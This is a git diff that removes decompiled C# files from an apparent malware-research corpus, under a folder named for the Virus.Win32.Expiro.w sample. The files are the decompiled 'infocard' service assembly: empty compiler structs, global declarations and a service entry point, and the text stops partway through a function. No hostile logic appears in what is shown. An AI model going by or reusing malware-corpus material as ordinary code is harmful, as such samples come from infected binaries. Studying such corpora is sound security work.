-{ - [UnsafeValueType] - [MiscellaneousBits(65)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 14)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0O\u0040\u0024\u0024CBD - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs deleted file mode 100644 index 934b2ece..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .$ArrayType$$$BY0P@$$CBG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCppImplementationDetails\u003E -{ - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [UnsafeValueType] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 30)] - internal struct \u0024ArrayType\u0024\u0024\u0024BY0P\u0040\u0024\u0024CBG - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/ActivationContext.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/ActivationContext.cs deleted file mode 100644 index 0df41673..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/ActivationContext.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .ActivationContext -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct ActivationContext - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/AtExitLock.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/AtExitLock.cs deleted file mode 100644 index 079da8b0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/AtExitLock.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .AtExitLock -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct AtExitLock - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/DefaultDomain.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/DefaultDomain.cs deleted file mode 100644 index 233cf233..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/DefaultDomain.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .DefaultDomain -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct DefaultDomain - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/LanguageSupport.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/LanguageSupport.cs deleted file mode 100644 index 4b8b3014..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/LanguageSupport.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .LanguageSupport -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct LanguageSupport - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/NativeDll.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/NativeDll.cs deleted file mode 100644 index fd3fbeec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/NativeDll.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .NativeDll -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct NativeDll - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/Progress.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/Progress.cs deleted file mode 100644 index 8fbb0068..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/Progress.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Progress -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct Progress - { - [NativeCppClass] - [CLSCompliant(false)] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - public enum State - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/ThisModule.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/ThisModule.cs deleted file mode 100644 index 38eecb17..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/ThisModule.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .ThisModule -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct ThisModule - { - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/TriBool.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/TriBool.cs deleted file mode 100644 index c10e24f6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CCrtImplementationDetails_003E/TriBool.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .TriBool -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u003CCrtImplementationDetails\u003E -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct TriBool - { - [CLSCompliant(false)] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - public enum State - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CModule_003E.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CModule_003E.cs deleted file mode 100644 index 089f276a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/_003CModule_003E.cs +++ /dev/null @@ -1,1399 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using \u003CCppImplementationDetails\u003E; -using \u003CCrtImplementationDetails\u003E; -using Microsoft.InfoCards; -using System; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.ConstrainedExecution; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Permissions; -using System.ServiceProcess; -using System.Threading; - -internal class \u003CModule\u003E -{ - internal static \u0024ArrayType\u0024\u0024\u0024BY07\u0024\u0024CBG \u003FA0xf8fbc640\u002Eunnamed\u002Dglobal\u002D0; - internal static \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBD \u003FA0xf8fbc640\u002Eunnamed\u002Dglobal\u002D1; - internal static \u0024ArrayType\u0024\u0024\u0024BY00\u0024\u0024CBG \u003FA0xf8fbc640\u002Eunnamed\u002Dglobal\u002D2; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBD \u003F\u003F_C\u0040_0CE\u0040EGKBOGOO\u0040Microsoft\u003F2InfoCards\u003F2mcppwrapper\u003F4\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040FAPBOFLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040BNBJOFNC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040PPLFHHPC\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CE\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EI\u0040LCFNHHJF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AA1\u003F\u0024AA2\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AA2\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EC\u0040PNPIPOFH\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0CB\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1EC\u0040HAHAADLF\u0040\u003F\u0024AAX\u003F\u0024AAp\u003F\u0024AAq\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAX\u003F\u0024AAq\u003F\u0024AAB\u003F\u0024AAy\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAA\u003F\u0024AAr\u003F\u0024AAr\u003F\u0024AAa\u003F\u0024AAy\u003F\u0024AA\u003F9\u003F\u0024AA\u003F\u0024DO\u003F\u0024AAL\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AAg\u003F\u0024AAt\u003F\u0024AAh\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1CE\u0040MDDMNBFC\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024CB\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0BC\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1CE\u0040EMPLJBMF\u0040\u003F\u0024AA0\u003F\u0024AA\u003F5\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F\u0024DN\u003F\u0024AA\u003F5\u003F\u0024AAc\u003F\u0024AAb\u003F\u0024AAC\u003F\u0024AAr\u003F\u0024AAy\u003F\u0024AAp\u003F\u0024AAt\u003F\u0024AAo\u003F\u0024AAB\u003F\u0024AAl\u003F\u0024AAo\u003F\u0024AAb\u003F\u0024AA\u003F\u0024AA\u0040; - internal static \u0024ArrayType\u0024\u0024\u0024BY0P\u0040\u0024\u0024CBG \u003F\u003F_C\u0040_1BO\u0040IGNPGJKB\u0040\u003F\u0024AAh\u003F\u0024AAE\u003F\u0024AAl\u003F\u0024AAe\u003F\u0024AAv\u003F\u0024AAa\u003F\u0024AAt\u003F\u0024AAe\u003F\u0024AAd\u003F\u0024AAT\u003F\u0024AAo\u003F\u0024AAk\u003F\u0024AAe\u003F\u0024AAn\u003F\u0024AA\u003F\u0024AA\u0040; - internal static unsafe ushort* g_lrpcProtocolSequence; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_mp_z; - [FixedAddressValueType] - internal static int \u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FUninitialized\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xi_vt_a; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedPerAppDomain\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - [FixedAddressValueType] - internal static bool \u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FIsDefaultDomain\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_ma_a; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedNative\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - [FixedAddressValueType] - internal static int \u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitialized\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_ma_z; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedVtables\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedVtables\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xi_vt_z; - [FixedAddressValueType] - internal static Progress.State \u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A; - internal static __FnPtr \u003FA0xaf140350\u002E\u003FInitializedPerProcess\u0024initializer\u0024\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2P6MXXZA; - internal static bool \u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static bool \u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static bool \u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static int \u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA; - internal static uint \u003FProcessAttach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FThreadAttach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static TriBool.State \u003FhasNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A; - internal static uint \u003FProcessDetach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FThreadDetach\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static uint \u003FProcessVerifier\u0040NativeDll\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400IB; - internal static TriBool.State \u003FhasPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00400W4State\u0040TriBool\u00402\u0040A; - internal static bool \u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA; - internal static \u0024ArrayType\u0024\u0024\u0024BY00Q6MPBXXZ \u003FA0xaf140350\u002E__xc_mp_a; - public static unsafe int** __unep\u0040\u003FDoNothing\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z; - public static unsafe int** __unep\u0040\u003F_UninitializeDefaultDomain\u0040LanguageSupport\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z; - [FixedAddressValueType] - internal static uint __exit_list_size_app_domain; - [FixedAddressValueType] - internal static unsafe __FnPtr* __onexitbegin_app_domain; - internal static uint \u003FA0x9b698f77\u002E__exit_list_size; - [FixedAddressValueType] - internal static unsafe __FnPtr* __onexitend_app_domain; - internal static unsafe __FnPtr* \u003FA0x9b698f77\u002E__onexitbegin_m; - internal static unsafe __FnPtr* \u003FA0x9b698f77\u002E__onexitend_m; - [FixedAddressValueType] - internal static unsafe void* \u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA; - [FixedAddressValueType] - internal static int \u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ __xc_z; - public static volatile uint __native_vcclrit_reason; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AXXZ __xc_a; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ __xi_a; - public static volatile __enative_startup_state __native_startup_state; - public static \u0024ArrayType\u0024\u0024\u0024BY0A\u0040P6AHXZ __xi_z; - public static unsafe void* __native_startup_lock; - public static volatile uint __native_dllmain_reason; - - internal static unsafe int wmain() - { - \u003CModule\u003E.HeapSetInformation((void*) 0, (_HEAP_INFORMATION_CLASS) 1, (void*) 0, 0U); - ServiceBase.Run((ServiceBase) new InfoCardService()); - return 0; - } - - internal static unsafe void* RtlSecureZeroMemory(void* ptr, uint cnt) - { - sbyte* numPtr = (sbyte*) ptr; - if (cnt != 0U) - { - 